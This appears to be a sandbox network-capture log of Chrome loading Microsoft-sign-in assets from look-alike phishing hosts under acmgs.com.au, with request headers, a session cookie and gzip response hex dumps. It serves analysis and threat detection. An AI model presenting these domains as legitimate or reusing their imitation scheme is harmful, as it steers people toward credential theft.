2024-12-20 19:31:37 UTC	752	OUT	GET /ests/2.1/content/cdnbundles/converged.v2.login.min_81imvbluez-v5hbzpkxfcg2.css HTTP/1.1 Host: 881a0950-e455dbd6.acmgs.com.au Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: style Referer: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-20 19:31:38 UTC	790	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 20 Dec 2024 19:31:38 GMT Content-Type: text/css Content-Length: 20410 Connection: close cache-control: public, max-age=31536000 last-modified: Fri, 08 Nov 2024 04:59:25 GMT etag: 0x8DCFFB21E496F3A x-ms-request-id: 91d02010-a01e-0045-6f7e-50610a000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20241220T193137Z-16fbf75468clmvxzhC1FRA2w6000000009s000000000ybvz x-fd-int-roxy-purgeid: 0 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2024-12-20 19:31:38 UTC	15594	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 7d 6b 93 db 36 b2 e8 77 ff 0a ee a4 52 eb c9 4a 8c 48 3d 47 53 49 ad e3 78 93 39 c7 af b2 9d 7d 54 2a b5 c5 91 a8 11 8f 29 51 97 a4 66 3c ab a3 ff 7e f1 46 03 68 90 d4 78 b2 d9 7b 2b eb 8d 2d a2 1b 0d a0 d1 68 a0 81 6e e0 eb af fe 10 3c 2f 76 f7 65 76 b3 ae 83 a7 cf cf 83 57 d9 a2 2c aa 62 55 93 f4 72 57 94 49 9d 15 db 30 78 96 e7 01 43 aa 82 32 ad d2 f2 36 5d 86 c1 57 5f 7f fd d5 1f 9e f4 bb ff 2f 78 ff e1 d9 bb 0f c1 9b bf 04 1f 7e bc 7a f7 7d f0 96 7c fd 23 78 fd e6 c3 d5 f3 17 41 67 2a 4f 9e 7c 58 67 55 b0 ca f2 34 20 ff 5e 27 55 ba 0c 8a 6d 50 94 41 b6 5d 88 5a a7 55 b0 21 7f 97 59 92 07 ab b2 d8 04 f5 3a 0d 76 65 f1 3f e9 82 b4 21 cf aa 9a 64 ba 4e f3 e2 2e 78 4a c8 95 cb e0 6d 52 d6 f7 c1 d5 db f3 30 f8 40 70 0b d2 Data Ascii: }k6wRJH=GSIx9}T)Qf<~Fhx{+-hn</vevW,bUrWI0xC26]W_/x~z}\|#xAgO\|XgU4 ^'UmPA]ZU!Y:ve?!dN.xJmR0@p
2024-12-20 19:31:38 UTC	4816	IN	Data Raw: 78 ce 2b 2b 6e 13 d6 17 0b 8b ca ba c2 a2 2a 8b 88 bd ac 2c 12 31 2f 2a 2b 24 e5 a1 95 75 9e df 51 bb 5f 6a 19 63 dc bc c9 45 89 b5 70 47 5d 70 ca fb 9e 0e 20 56 49 be 20 69 14 01 46 49 a3 08 a2 a9 10 de 51 33 ab ab 42 ad 3a 03 51 82 c9 86 58 21 80 b6 66 35 88 5b 0b 1a d2 44 af 18 0e 06 e3 65 32 71 db a4 25 ce 20 03 a5 0f 01 b4 b6 c9 2f 95 2d 68 58 9b 7c d2 ca db f4 30 61 ec 73 a7 f6 1e b8 a8 5b 0e 36 f1 85 8e 36 04 a6 86 1b 02 93 e3 0d 14 66 70 df 93 6e 56 08 83 b4 76 40 43 45 db f0 b0 2e 10 57 99 1b 46 0a 7a 9a 6c 5e eb 5b 91 85 43 fa 34 bc 98 9d 23 97 02 03 20 96 48 ba 89 37 5f 87 50 e3 87 e3 60 22 80 5b d9 23 19 93 28 7f 18 bb 0c ee 13 f6 9e b3 cc 4f 7d b0 93 e5 be fa 81 1c e1 db 81 87 f8 c3 85 9e 97 26 d9 ad e4 e2 f9 d0 f9 26 d9 66 bb 7d ce d8 eb 5e Data Ascii: x++n,1/+$uQ_jcEpG]p VI iFIQ3B:QX!f5[De2q% /-hX\|0as[66fpnVv@CE.WFzl^[C4# H7_P`"[#(O}&&f}^

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.8	49741	159.89.96.140	443	6516	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 19:31:37 UTC	748	OUT	GET /ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_i8f-75gfk3tbsm8bmatnqa2.js HTTP/1.1 Host: 881a0950-e455dbd6.acmgs.com.au Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-20 19:31:38 UTC	806	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 20 Dec 2024 19:31:37 GMT Content-Type: application/x-javascript Content-Length: 16345 Connection: close cache-control: public, max-age=31536000 last-modified: Sat, 26 Oct 2024 01:33:48 GMT etag: 0x8DCF55E3D91C34E x-ms-request-id: e64bf48d-301e-0070-2b7e-507aa1000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20241220T193137Z-16fbf75468cc42ljhC1FRAnkyg00000009mg00000000kzbd x-fd-int-roxy-purgeid: 0 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2024-12-20 19:31:38 UTC	15578	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 dd 7d 4d 73 23 c7 92 d8 dd bf 02 0f cf f1 86 5c f5 40 f8 e0 27 46 d0 18 04 c0 19 ec 90 00 04 80 33 52 48 32 a2 09 14 c1 7e 04 ba b1 dd 8d e1 f0 51 e3 78 37 1f f6 e0 ab 7d f3 c1 27 1f 7d f1 dd 3f 65 23 d6 bf c3 f9 51 55 5d d5 dd 00 c8 91 56 6f d7 0a c5 10 dd f5 95 95 95 95 95 99 95 99 fd 87 9b b5 3f 8d bd c0 df 13 fb 8f ea 77 21 d8 f3 f7 1f bd 9b 3d ef 47 ff e7 fd 50 c4 eb d0 2f e0 ef 92 f8 b4 0a c2 38 7a f5 d1 0d 0b 71 03 5f 35 1e e5 bb fa e3 67 c7 9b d5 7d 67 11 b8 33 31 ab ff a1 f2 f9 95 6c 2a b0 e9 d4 5d 2c f6 62 d5 83 13 3b c9 ef 60 1f 1e b8 59 e3 0f e5 a4 e0 33 0e e3 35 1e 75 47 41 69 d9 10 4e 50 9a 36 3c f8 77 d5 28 16 9d 60 af bc ff 79 ef c7 64 1a 4e e0 78 00 fc 5e 75 9f a0 f4 1b de 5e 05 fa 87 3f 87 fb 4e 08 7f 8e f6 Data Ascii: }Ms#\@'F3RH2~Qx7}'}?e#QU]Vo?w!=GP/8zq_5g}g31l*],b;`Y35uGAiNP6<w(`ydNx^u^?N
2024-12-20 19:31:38 UTC	767	IN	Data Raw: 4c f1 70 ee 03 7e b9 52 66 00 e0 2d 4b 19 b6 30 82 b4 8c 07 10 e2 6a 41 51 4f 3c 0d 86 9c fb 90 51 1e b8 7e 38 ef ac ca 5b ce 0d e6 a8 e8 40 1c 3c 54 74 00 12 3d d5 58 6e a1 df 32 fc 96 7e 1f e6 a4 0f c0 6d c1 20 4b f4 e5 94 23 08 f2 7a 2b a7 b0 22 f9 95 e1 1b bc 5a 63 78 0f a0 e3 c1 92 39 86 02 bf 1f 40 12 07 fe c0 04 ed 43 f1 51 60 30 01 9f 99 b9 11 22 9c 9c 46 f5 21 03 4e d8 91 99 23 47 70 69 f5 43 13 bf cf 2b a3 5b 30 aa 4d 00 19 ad 61 59 30 a3 07 1c ad 07 46 55 f6 20 7e 60 b4 50 c6 37 58 14 8d 87 24 dd 1a 60 1d ef 0e ff 78 de 3c 3f 3d 3f 29 da 42 15 9f 5b 3c cd 11 b4 5f 48 e5 b0 5e 8c 8c 27 d8 05 98 35 59 15 2d 93 07 3e a7 63 10 ab 63 49 07 c0 d2 95 1b 8e 96 fc d4 b9 0c ab 80 76 df 91 f7 17 e2 c7 c6 08 08 ae 98 e1 2e 77 5a 67 fd 21 d6 62 ff 6d 62 29 Data Ascii: Lp~Rf-K0jAQO<Q~8[@<Tt=Xn2~m K#z+"Zcx9@CQ`0"F!N#GpiC+[0MaY0FU ~`P7X$`x<?=?)B[<_H^'5Y->ccIv.wZg!bmb)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.8	49742	159.89.96.140	443	6516	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 19:31:37 UTC	729	OUT	GET /shared/1.0/content/js/ConvergedLogin_PCore_kAx9qZOSH4g90FNHstHMCA2.js HTTP/1.1 Host: 881a0950-e455dbd6.acmgs.com.au Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-20 19:31:38 UTC	807	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 20 Dec 2024 19:31:38 GMT Content-Type: application/x-javascript Content-Length: 122516 Connection: close cache-control: public, max-age=31536000 last-modified: Fri, 22 Nov 2024 01:34:34 GMT etag: 0x8DD0A95D1F56318 x-ms-request-id: d98fa09b-a01e-0062-5c7e-500171000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20241220T193137Z-16fbf75468cwk4t6hC1FRAv5tc00000009y000000000vxz8 x-fd-int-roxy-purgeid: 0 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2024-12-20 19:31:38 UTC	15577	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 e4 bd 7d 5b e3 b8 92 38 fa ff fd 14 c1 e7 5c 26 19 4c da ce 7b cc 78 d8 74 80 6e 76 80 70 08 f4 cc 2e cd e1 71 6c 25 78 48 ec ac ed f0 72 42 f6 b3 ff aa 4a 92 2d 27 0e dd 3d bb cf bd cf 7d ee ec d9 26 96 4a 6f a5 52 a9 aa 54 2a 7d f8 79 e7 ff 2a fd 5c da ff fe ff 4a c3 eb de d5 75 69 70 52 ba fe 7c 7a 75 54 ba 84 af ff 28 5d 0c ae 4f fb c7 df 5f 0f 36 8a ff 7f fd e0 c7 a5 b1 3f 65 25 f8 3b 72 62 e6 95 c2 a0 14 46 25 3f 70 c3 68 1e 46 4e c2 e2 d2 0c fe 8d 7c 67 5a 1a 47 e1 ac 94 3c b0 d2 3c 0a ff 64 6e 12 97 a6 7e 9c 40 a1 11 9b 86 cf a5 32 54 17 79 a5 4b 27 4a 5e 4b a7 97 95 2a d4 cf a0 36 7f e2 07 50 da 0d e7 af f0 fb 21 29 05 61 e2 bb ac e4 04 1e d5 36 85 8f 20 66 a5 45 e0 b1 a8 f4 fc e0 bb 0f a5 73 df 8d c2 38 1c 27 a5 88 Data Ascii: }[8\&L{xtnvp.ql%xHrBJ-'=}&JoRT}y\JuipR\|zuT(]O_6?e%;rbF%?phFN\|gZG<<dn~@2TyK'J^K*6P!)a6 fEs8'
2024-12-20 19:31:38 UTC	14460	IN	Data Raw: 1c 08 2b a9 52 ed 28 b5 db 3b 86 ee 54 19 fa 42 60 ec 99 ef 54 05 41 23 91 82 77 56 d6 f6 41 4b 00 0e fc 84 c7 0b e5 8a 90 ba cb cb 80 5f f6 d7 9c e9 b3 f3 1a 6b ab 0a 34 88 bb 01 8c 77 30 c7 0e c5 80 17 87 b8 8c 1b f9 a3 7c ff 95 fa 33 88 72 26 d0 02 0a 40 fa 29 f3 13 ea 84 3b 19 94 d5 42 73 c6 1e cb 5c 79 c5 09 43 0b d9 6c 8e 97 66 b8 03 88 5d b4 e7 00 4f 01 c0 41 36 18 96 55 58 f9 86 c9 e9 20 b3 6f f8 d2 41 fa bd 69 d3 d1 04 60 a2 09 40 a8 fc 20 7d 8b 7b d8 d9 8c c5 6b e5 50 7f 47 1f 11 50 98 8e 9c e8 31 8b 98 70 e0 af 79 be 7d 44 7f 2c f2 25 c4 8b 20 eb b9 bf a3 5f 96 92 bb 51 9f ed a0 d8 84 9e c6 74 7b e6 02 6f 9a c3 1e 52 f5 00 2a 4b 49 74 85 6e 61 8d 47 5b dc ef 98 1d 55 8b dc 1c d1 2c ba bd df c2 a7 0c b7 d1 f7 06 20 9c cc 10 6c 85 46 25 bf ea ca Data Ascii: +R(;TB`TA#wVAK_k4w0\|3r&@);Bs\yClf]OA6UX oAi`@ }{kPGP1py}D,% _Qt{oR*KItnaG[U, lF%
2024-12-20 19:31:38 UTC	16384	IN	Data Raw: cd 03 75 9c fa bf 47 dd a7 40 be f4 b4 8c 2e 8c e8 87 6c 40 ba 90 bd f1 18 29 83 cf d1 23 e4 40 95 ca 24 cd 32 3e 61 0e 82 31 ae 17 f1 7a ee d5 17 06 57 32 e9 6a e0 bf 52 53 7e 37 8f 72 5f fb 5e cb 2a ec d8 46 6c c7 36 a7 18 7f 90 f1 43 94 07 e8 95 e5 4f 51 ef 78 a0 a5 74 cd 47 0f 75 bc e4 57 63 9e bc 70 1c 57 a2 d0 d9 f7 6e cf bd 41 0a 18 ef a3 a5 b7 cb cb ef 60 0e 3e 37 71 44 dd 37 7e c1 6a e0 9a 3d f2 a7 cd 12 f1 4b 8c 8c fd b3 fb 0b 14 81 14 1b c6 41 58 5b 10 08 21 42 f8 8a 0d 20 a3 f6 90 52 e0 58 da 67 a9 89 27 6c 0b ac 8e 49 54 a1 8d 0a 04 39 a4 07 23 22 07 c9 c4 0f 46 68 51 2e 41 35 46 cd 3b d8 01 c1 90 90 08 9f 0f 91 e0 ee 8b 5e 6c ac 55 7b 91 db 1b bb db 04 78 b4 cf 58 60 07 40 0d 49 19 81 7d 1a b9 6f ab cd 76 9e 8c f6 39 4f 1f 31 30 e0 4b cd 98 Data Ascii: uG@.l@)#@$2>a1zW2jRS~7r_^*Fl6COQxtGuWcpWnA`>7qD7~j=KAX[!B RXg'lIT9#"FhQ.A5F;^lU{xX`@I}ov9O10K
2024-12-20 19:31:38 UTC	16384	IN	Data Raw: 66 34 bf f4 ab 59 8f 58 75 c1 19 f6 aa ef 3f 04 63 7e f7 a1 a6 9e 33 38 20 f7 46 23 ce 70 52 93 81 01 68 d0 f3 95 f3 9c 99 63 a1 24 95 a2 81 07 a5 d7 b4 1a f8 6e 3a 9d b0 30 48 0c 99 99 91 65 d2 fc 8a 7f 1b af 07 b4 d3 8f 78 db 87 9f e2 fc 16 83 91 9d a5 72 88 7f 34 c7 05 ae 25 98 9f 3b 3e 1f c4 24 98 39 f8 88 50 43 f3 ce 6c cd 38 8a 3e 9f 2a f3 77 ce d2 33 0b c0 bd 86 6d e0 97 a7 66 73 e9 76 28 de 9e 98 6f eb 0c 40 39 e3 be 91 4f 1d 98 45 49 b7 66 23 26 64 14 c1 f3 62 d6 91 a7 c3 e1 28 3a 4c ef 70 6e 0e b2 ec 00 89 60 ce f9 c6 9c 65 83 f9 a4 0c 6f cd 0c d3 e4 cb 24 18 97 87 63 50 33 9c c6 9e 38 33 d7 52 48 f6 80 e6 5a 3a 31 47 1d 37 2c cc fd 01 db 99 8b 11 51 6d a1 56 a8 ba e5 95 ab a9 f0 90 67 07 52 7d c1 9b 1a 6f 60 42 ad 44 d9 1f 86 0f 93 c2 a4 52 a4 Data Ascii: f4YXu?c~38 F#pRhc$n:0Hexr4%;>$9PCl8>*w3mfsv(o@9OEIf#&db(:Lpn`eo$cP383RHZ:1G7,QmVgR}o`BDR
2024-12-20 19:31:38 UTC	2731	IN	Data Raw: 20 a2 66 bc 37 de 33 e2 05 5b 30 1d 05 9a 67 8f b1 1e 4d bf 41 3f 66 3e d0 47 c1 96 8b a3 17 bc b1 fe 6e b5 4a 79 2d 20 eb 04 f4 37 c9 34 36 9e 34 b6 eb 6e a7 d7 44 2d d9 22 a7 6e 2a 07 26 b5 94 13 88 7c 3f f3 16 41 a3 a2 c8 16 4d b3 6a 21 28 fa 08 09 18 69 74 9a a4 70 4a 5d 09 f0 24 7b fa 34 53 04 54 8b 8b 10 0d 06 6e b6 54 b3 a8 d5 27 31 bb d0 fa d9 c3 43 c4 27 8e 7c 19 7a 06 69 2b cc 0a ba 20 ec b4 b5 fa bf 2c 3b c2 b7 a9 bb 01 8c 08 34 eb 14 2c 67 1e 7b c8 66 ee f4 cf 08 96 dd 15 75 54 a3 c0 db 19 0a e1 de f6 e8 81 27 e4 e3 e2 a9 4c a5 a6 53 09 82 d6 bf d6 73 c5 4f 42 22 a4 29 27 83 55 12 23 fc 93 a7 d1 1d d4 0f ab ec d2 67 df c5 82 81 2d 32 11 7d 4d fd 11 57 a4 25 97 cb 64 3c 8e d3 47 1c 58 54 43 ff 94 07 8b cd 16 75 db f6 2c 07 6c cb 42 cf 12 17 1b Data Ascii: f73[0gMA?f>GnJy- 7464nD-"n*&\|?AMj!(itpJ]${4STnT'1C'\|zi+ ,;4,g{fuT'LSsOB")'U#g-2}MW%d<GXTCu,lB
2024-12-20 19:31:39 UTC	16384	IN	Data Raw: 70 06 1d e7 69 4e 3f 06 23 fe 13 4c 5d fa 41 52 f5 d0 2f f8 06 fd f2 d6 36 82 9c fe cb 54 1b a6 68 f3 1c ff 5c e3 9f 2c 9c d0 97 2e fa d9 c3 43 de f7 2e c2 19 0d 3f 55 f1 7c c3 27 f6 e9 82 3e 20 37 f0 8d b9 34 74 7a 3a 55 9d 3c 0b ef 89 df 2d e7 45 50 fa 82 4f 92 9e 3e 7f 9e 03 2e 86 a6 02 f9 bf 90 32 49 55 42 35 50 bd 83 eb e5 95 24 aa 92 98 2a c9 74 25 19 8c fb 54 a9 4f f7 fc 88 26 17 ce aa 0f 0f 53 95 6c 4c bd 4a 6b b6 8c 98 dd 30 0d c9 cf 16 36 48 17 16 af 7b 4d 0c 25 6d ef 31 d1 9a bd e4 3a 29 11 fd 5e c0 09 f4 9b 89 e7 4f 7b 70 19 ce d9 fd ba 85 a9 56 b3 36 26 a1 33 cc b2 69 1c d9 69 af 06 f7 f5 6a 83 64 01 50 99 fb 85 5f c2 31 84 86 5a cc b3 48 1d a3 22 4c 0c bc 00 8b 61 c4 78 8c 71 22 11 59 65 60 d6 31 bc ec 19 47 2e b5 6e e9 42 89 57 69 d8 e7 65 Data Ascii: piN?#L]AR/6Th\,.C.?U\|'> 74tz:U<-EPO>.2IUB5P$*t%TO&SlLJk06H{M%m1:)^O{pV6&3iijdP_1ZH"Laxq"Ye`1G.nBWie
2024-12-20 19:31:39 UTC	12576	IN	Data Raw: 91 64 dc bd e5 de ca 6a 37 06 f5 9c 38 88 24 94 14 21 22 88 de 0c 9a ac c8 a5 ed 7a 39 e4 47 1e c4 7c 37 9d a5 be 03 55 2f f1 04 c4 39 d4 63 0f b8 0d 26 28 98 b0 bd 90 45 89 b7 9b 75 32 9a 91 1d 44 b9 b0 e3 24 86 92 e2 3a 99 64 9e 48 dc dc 73 6c d7 e5 3e 2c 83 dd 74 96 3a 10 0b 5e 06 55 22 e2 02 1c dc 16 8c c1 12 08 42 52 59 a0 27 df 6e 6b 6a b5 1b a3 19 25 09 ac 63 0f 26 4c 2c fc 84 79 ae e0 89 e4 d2 b3 f3 30 24 21 b9 1b 7a f2 53 1b 34 1a b3 2c 0f b0 26 76 00 c1 e4 72 96 f8 3e 69 cf 21 04 fb 6e a6 ce 68 46 59 00 f2 c9 a5 1f db 60 e3 5e 64 3b 7e ec 30 cc 26 58 ac b0 6d 77 27 9c dc 0d 52 d7 15 90 79 39 99 85 8e 9d 40 92 bb 4c 38 be 13 43 be c7 7e 94 dc 6e 67 6c b5 1b a3 19 25 22 88 62 c7 0e 3d 37 f6 6d 9b 06 66 67 76 00 c5 85 98 7a 78 cb fd ca b5 ce 60 11 Data Ascii: dj78$!"z9G\|7U/9c&(Eu2D$:dHsl>,t:^U"BRY'nkj%c&L,y0$!zS4,&vr>i!nhFY`^d;~0&Xmw'Ry9@L8C~ngl%"b=7mfgvzx`
2024-12-20 19:31:39 UTC	16384	IN	Data Raw: e6 74 ad d1 7e 59 5c 57 18 59 eb 40 14 5d 20 7a f9 58 9b 11 4c 15 23 e0 4b 5f 1f 6f 0c 57 92 93 27 8f 3a 1e 41 5e ef e0 6e 32 61 3f d5 50 6c 4e ab db d7 69 ab 68 af 31 a2 cf 2f 16 ef ba b0 88 ab 61 01 5e 51 18 6f 77 63 67 17 cd 4f bc ed 19 44 d1 f3 92 ea af 77 51 f4 bc bc b2 e8 4f af 87 bc bb 2b 68 1c b4 8e 36 1a 5c 9d 8d b1 01 ad ec 6d dd aa fa c1 e3 c6 b7 2b b4 cb 77 ba d9 c5 bb b4 c0 1b 87 19 a5 6d 5a dd 55 6e f9 60 67 44 a0 2d 15 ac cd b2 8c 0b 57 c7 48 77 ca 6f 2a bc 8c 24 78 a4 4b 76 eb e9 d8 a7 4d 75 2f 2b b9 1c 3e e6 e9 5e d7 a3 3c d1 c9 4b e8 ef 6a 74 b8 f1 5b 69 54 4d cd a5 89 1b d1 36 c7 a6 4e cf 80 76 ba cc bd 4f 28 b3 dc 69 1c 1d 0e 06 ad 8e 0a 7e 6d 2f 4d 91 cd 9d 34 45 7a fb 30 03 6d d3 ef a6 a6 ea 09 58 73 92 75 25 fb 8c 00 5f 3c 91 f3 a7 Data Ascii: t~Y\WY@] zXL#K_oW':A^n2a?PlNih1/a^QowcgODwQO+h6\m+wmZUn`gD-WHwo*$xKvMu/+>^<Kjt[iTM6NvO(i~m/M4Ez0mXsu%_<
2024-12-20 19:31:39 UTC	11636	IN	Data Raw: bb a3 be ef 3a c4 76 07 fd b1 eb 7a ce fd 66 c0 90 48 ac c4 88 da fd 01 19 0e ba 3d cc f0 e2 58 43 d7 b3 30 b9 4b 0f a8 b7 e7 de 2f bb 8b da 81 4b 1c cc 51 e3 3b 83 e1 d0 1b 98 e3 9e e7 98 43 df a4 d0 1f c5 e4 14 0f 98 01 b1 1c 6b 6c 7b 16 1d 76 07 a3 ae 3f 1c 39 ae 45 86 bd 3e f0 82 a1 eb 92 7b 42 9f 35 3d 1c 9b d6 68 3c 1a 02 ec fb bd 2e a0 8e e7 76 fd 3e b1 fa be 63 f7 69 2d e6 e8 0e b6 81 ee db 46 5c 89 3f 9f e4 f1 e7 31 5c 3c 8b 3b 5f bc b9 76 10 76 a2 f0 45 e5 de d9 24 12 47 93 ad b6 a1 94 28 dd 27 2b 96 2a 36 3c 49 bf 7e fd f5 43 fe b8 78 cd ac 70 f8 aa 1f 02 bc b9 cb ab 57 6f aa d5 35 51 1a 23 36 53 17 19 bf ee aa 60 21 40 7e 52 08 90 3f e8 97 0e ff e3 ad 1f fe 6f da e2 ea 00 f9 c9 fa c7 73 1b c6 d6 2b 2c 6e 72 24 b7 de 9a 48 7b 7f 6c 60 a2 87 07 Data Ascii: :vzfH=XC0K/KQ;Ckl{v?9E>{B5=h<.v>ci-F\?1\<;_vvE$G('+*6<I~CxpWo5Q#6S`!@~R?os+,nr$H{l`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.8	49744	159.89.96.140	443	6516	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 19:31:37 UTC	845	OUT	GET /Me.htm?v=3 HTTP/1.1 Host: l1ve.acmgs.com.au Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Purpose: prefetch Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 6wDB08="ZTQ1NWRiZDYtMzA4MC00NWRlLWE3NDMtZjQ5ZTkyY2YzMzg4OjljYzUwYzg1LTNlZTctNDdhMy04M2QyLTM0YjE2NmNmMDE0Zg=="
2024-12-20 19:31:38 UTC	514	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 20 Dec 2024 19:31:38 GMT Content-Type: text/html; charset=utf-8 Content-Length: 1433 Connection: close cache-control: max-age=315360000 vary: Accept-Encoding p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" referrer-policy: strict-origin-when-cross-origin x-ms-route-info: C540_SN1 x-ms-request-id: e8b6384e-369f-4a36-9b6c-96d55b7f7ec8 ppserver: PPV: 30 H: SN1PEPF0002F969 V: 0 content-encoding: gzip access-control-allow-origin: * access-control-allow-headers: *
2024-12-20 19:31:38 UTC	1433	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 b5 57 db 6e db 38 10 7d ef 57 d8 44 11 88 6b 56 91 7c 4b 22 87 09 8a 6e 17 75 d1 b4 45 d5 c5 3e b8 5a 80 91 28 9b 5b 99 12 48 da 6d e1 e8 df 77 74 b3 6c 75 1b 6f 1f fa 90 58 1e ce 1c 9e 33 9c 19 ca d7 3a 54 22 33 3d f3 2d e3 14 19 fe d5 9c ff c3 b6 ac b2 a2 9b 27 bd 7e bc 91 a1 11 a9 b4 0c e1 78 17 a7 ca da 32 d5 d3 3d 21 7b 1c 9b 85 0e 28 87 7f b9 65 56 42 93 d6 19 5c eb e7 1e b7 24 de 89 d8 d2 0b 19 60 c5 cd 46 c9 5e f1 6c f3 af 59 aa 8c 9e 15 80 82 16 26 ba ab 6d de 2e 27 22 f2 24 49 52 16 f1 c8 eb bb f9 ac 0e 35 45 68 c8 92 c4 12 0d 02 11 a4 7d e6 18 be 54 61 b4 ef b4 0b 79 c9 9b ee f6 40 dc 5e 53 10 65 87 14 82 ec 8c 22 44 b8 e5 e0 dc 5a 74 34 37 42 74 29 ab ce 00 a7 f1 c2 0f 88 a6 0e 91 94 db 09 97 4b b3 9a e9 6b 39 1b Data Ascii: Wn8}WDkV\|K"nuE>Z([HmwtluoX3:T"3=-'~x2=!{(eVB\$`F^lY&m.'"$IR5Eh}Tay@^Se"DZt47Bt)Kk9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.8	49734	159.89.96.140	443	6516	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 19:31:39 UTC	749	OUT	GET /shared/1.0/content/js/oneDs_f2e0f4a029670f10d892.js HTTP/1.1 Host: 881a0950-e455dbd6.acmgs.com.au Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 6wDB08="ZTQ1NWRiZDYtMzA4MC00NWRlLWE3NDMtZjQ5ZTkyY2YzMzg4OjljYzUwYzg1LTNlZTctNDdhMy04M2QyLTM0YjE2NmNmMDE0Zg=="
